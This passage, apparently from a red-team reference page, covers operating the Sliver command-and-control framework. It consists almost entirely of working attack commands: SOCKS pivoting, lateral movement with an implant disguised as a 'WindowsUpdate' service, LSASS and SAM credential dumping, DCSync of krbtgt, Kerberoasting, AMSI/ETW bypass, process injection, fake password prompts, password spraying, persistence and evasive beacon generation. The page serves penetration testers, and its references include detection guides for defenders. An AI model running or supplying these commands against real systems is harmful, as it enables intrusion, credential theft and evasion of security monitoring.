# 2. Point proxychains at it
echo "socks5 127.0.0.1 1080" >> /etc/proxychains4.conf

# 3. Route your usual toolkit through the compromised host
proxychains crackmapexec smb 192.168.1.0/24
proxychains impacket-secretsdump CORP/admin:'pass'@192.168.1.10

Workflow: Lateral Movement via Generated Service Executable

# 1. Open a pivot listener on the current session
sliver (SESSION) > pivots tcp --bind 192.168.1.90

# 2. Generate a service-format executable pointed at that pivot listener
sliver > generate --tcp-pivot 192.168.1.90:9898 --format service --skip-symbols -N updater-svc

# 3. Use PsExec-style execution to install and start it on the next hop
sliver (SESSION) > psexec --custom-exe /root/payloads/updater-svc.exe \
  --service-name WindowsUpdate --service-description "Windows Update Service" target.domain.local

# 4. A new SYSTEM-level session should check in from the target

Cheatsheet

Quick-reference for the most common operator tasks. Replace IPs, ports, and names as needed.

Server & Listeners

# Server
sudo ./sliver-server_linux            # single-player, drops into console
sudo ./sliver-server_linux daemon     # unattended background mode
sudo ./sliver-server_linux install    # install as systemd service

# Listeners
mtls -l 8888
https --domain example.com --lets-encrypt
http --domain example.com
dns --domain example.com
wg -l 53

# Manage
jobs
jobs -k <job-id>

Multiplayer

new-operator --name <name> --lhost <server-ip>   # server console only
multiplayer                                       # start the multiplayer listener
./sliver-server operator --name <name> --lhost <ip> --save <name>.cfg   # daemon mode
./sliver-client import <name>.cfg
builders                                          # list connected external builders

Implant Generation

# Session
generate --mtls IP:PORT --os windows --arch amd64 --format exe --save out.exe

# Beacon
generate beacon --mtls IP:PORT --os windows --arch amd64 \
  --seconds 60 --jitter 30 --save out.exe

# Other platforms
generate --mtls IP:PORT --os linux --arch amd64 --format elf
generate --mtls IP:PORT --os darwin --arch arm64 --format macho

# Via saved profile
profiles new --mtls IP --os windows --format exe myprofile
generate --profile myprofile

# Troubleshooting a silent implant
generate --mtls IP:PORT --os windows --debug

Session / Beacon Management

sessions
beacons
use <id>
sessions -i <id>
sessions prune
background
sessions -k <id>
interactive              # task a beacon to promote to a session (next check-in)
reconfig --interval 60s --jitter 20
tasks
tasks fetch <task-id>

Post-Exploitation Basics

info
whoami
ps
netstat
getprivs
getsystem
runas -u <user> -p <pass> <cmd>
make-token -u <user> -p <pass> -d <domain>
impersonate <token-id>
rev2self
execute-assembly <path>
execute-shellcode -p <pid> <shellcode.bin>
migrate <pid>

Pivoting & Tunneling

# SOCKS5 (session only)
socks5 start --host 127.0.0.1 --port 1080
socks5
socks5 stop --id 1

# Port forward (session only)
portfwd add --lport 3389 --rhost 192.168.1.10 --rport 3389
portfwd
portfwd rm --id 1

# TCP pivot chain (session only)
pivots tcp --bind 0.0.0.0:9999
pivots
pivots --id <id> stop
generate --tcp-pivot IP:PORT --os windows

# Named pipe pivot (Windows-only, session only)
pivots named-pipe --bind foobar --allow-all
generate --named-pipe ./pipe/foobar --os windows

# WireGuard tunnel
wg-portfwd add --remote 10.0.1.10:3389

Armory & BOFs

# Discovery & install
armory search <keyword>
armory install <package-name>
armory install all
armory install windows-credentials    # cred-dumping bundle
armory install kerberos               # kerberos attack bundle
armory install windows-pivot          # lateral movement bundle
armory install windows-bypass         # evasion bundle
armory install windows-inject         # process injection bundle
armory install situational-awareness  # all recon BOFs
armory install .net-recon             # .NET recon aliases
armory install .net-pivot             # .NET pivot/attack aliases
armory update

# Extension management
extensions                   # list installed extensions
aliases                      # list installed aliases
extensions load /path/to/   # load local extension from manifest

# Core BOF infrastructure
armory install coff-loader  # required for all BOFs (auto-installed with BOF packages)

# Credential Access
nanodump 0 lsass.dmp 0 PMDM          # LSASS minidump (fileless)
credman <pid>                          # Credential Manager dump
hashdump                               # SAM hashes (needs SYSTEM)
mimikatz -- sekurlsa::logonpasswords   # in-process Mimikatz
mimikatz -- "lsadump::dcsync /user:krbtgt"

# Kerberos
bof-roast                             # Kerberoast all SPNs
nanorobeus klist                       # list tickets (BOF)
nanorobeus dump /all                   # dump all tickets
nanorobeus ptt /ticket:<b64>           # pass-the-ticket
rubeus kerberoast /format:hashcat /nowrap
rubeus asreproast /format:hashcat /nowrap
delegationbof 6 dc.corp.local         # enumerate delegation
tgtdelegation                          # coerce TGT via unconstrained deleg

# Situational Awareness (sa-*)
sa-whoami                 # whoami /all in-process
sa-adcs-enum              # enumerate ADCS templates
sa-ldapsearch "(objectClass=user)" dc.corp.local
sa-get-netsession DC01    # who's connected to DC01
sa-netloggedon DC01       # who's logged in to DC01
sa-list_firewall_rules    # firewall rules
sa-enum-filter-driver     # EDR kernel stack
sa-reg-query HKLM\Software\<key>

# Bypass & Evasion
unhook-bof                            # remove ntdll hooks from implant
patchit patch <pid>                   # patch AMSI + ETW
inject-etw-bypass <pid>               # ETW bypass in remote process
inject-amsi-bypass <pid>              # AMSI bypass in remote process
ldapsigncheck                          # check LDAP signing enforcement

# Process Injection
hollow C:\Windows\System32\notepad.exe ./shellcode.bin
secinject <pid> ./shellcode.bin
syscalls_shinject <pid> ./shellcode.bin
threadless-inject <pid> <dll> <export>
inline-execute-assembly /path/Rubeus.exe "dump /all"

# Remote Operations
remote-sc-create DC01 UpdateSvc C:\Windows\Temp\implant.exe
remote-reg-save SAM DC01 C:\Windows\Temp\SAM
remote-addusertogroup DC01 Administrators corp\redteam
remote-schtaskscreate DC01 "Windows Update" C:\Temp\implant.exe

# C2 Tool Collection
c2tc-askcreds "Windows Security" "Re-enter your password"
c2tc-lapsdump
c2tc-petitpotam DC01 attacker.local
c2tc-addmachineaccount FakePC$ Password123!
c2tc-startwebclient
c2tc-spray-ad Password123! corp.local

# Lateral Movement BOFs
jump-psexec DC01 /path/to/payload.exe
jump-wmiexec DC01 "cmd /c whoami"
scshell DC01 SensorDataService C:\Temp\payload.exe
portbender redirect 445 8445

# .NET Aliases
seatbelt -group=all
seatbelt CredEnum WindowsCredentialFiles
certify find /vulnerable
certify request /ca:DC01\Corp-CA /template:VulnTemplate /altname:Administrator
krbrelayup full -Domain corp.local -DomainController dc.corp.local
sharp-hound-4 -c All --zipfilename bh.zip
sharpview Get-DomainUser -Identity Administrator
sharpview Find-InterestingDomainAcl
nps Get-ADUser -Filter *
sharprdp computername=DC01 command="cmd /c whoami" username=admin password=pass
sharpsccm local naa
sqlrecon /enum /ldap:corp.local
<bof-alias> [args]

Persistence & Loot

persistence service --name Svc --path C:\path\implant.exe
persistence registry --hive HKCU --path "Software\...\Run" --key Name
backdoor <path-to-target-exe>
persistence remove --id <id>

loot add <name> <path>
loot
loot fetch <loot-id>

Useful Combos

# Full internal recon pass through SOCKS5
proxychains nmap -sT -Pn -p 21,22,80,135,139,389,443,445,1433,3389 192.168.1.0/24

# Credential dump through the tunnel
proxychains impacket-secretsdump DOMAIN/user:pass@192.168.1.10 -just-dc

# Quiet long-haul beacon, aggressive jitter, non-default port
generate beacon --https example.com --os windows --arch amd64 \
  --seconds 300 --jitter 40 --skip-symbols --evasion --save longhaul.exe

References

  • GitHub: https://github.com/BishopFox/sliver
  • Docs: https://sliver.sh/docs
  • GitHub Wiki — Getting Started: https://github.com/BishopFox/sliver/wiki/Getting-Started
  • GitHub Wiki — Multiplayer Mode: https://github.com/BishopFox/sliver/wiki/Multiplayer-Mode
  • GitHub Wiki — HTTP(S) C2: https://github.com/BishopFox/sliver/wiki/HTTP(S)-C2
  • GitHub Wiki — Pivots: https://github.com/BishopFox/sliver/wiki/Pivots
  • GitHub Wiki — Traffic Encoders: https://github.com/BishopFox/sliver/wiki/Traffic-Encoders
  • GitHub Wiki — External Builders: https://github.com/BishopFox/sliver/wiki/External-Builders
  • GitHub Wiki — Configuration Files: https://github.com/BishopFox/sliver/wiki/Configuration-Files
  • Go vulnerability DB entries (CVE-2024-41111 and 2026 GO-IDs): https://pkg.go.dev/github.com/bishopfox/sliver
  • Bishop Fox — Sliver Workshop Part 3: Building Better Encoders (WASM traffic encoders deep-dive): https://bishopfox.com/resources/sliver-workshop-part-3-building-better-encoders
  • Immersive Labs — Detecting and Decrypting Sliver C2 (threat hunter's guide): https://www.immersivelabs.com/resources/c7-blog/detecting-and-decrypting-sliver-c2-a-threat-hunters-guide
  • Sliver C2 detection on Defender XDR / Sentinel (behavioral + network IOCs): https://wizardcyber.com/hunting-sliver-c2-defender-xdr-sentinel/

← Tool references top ↑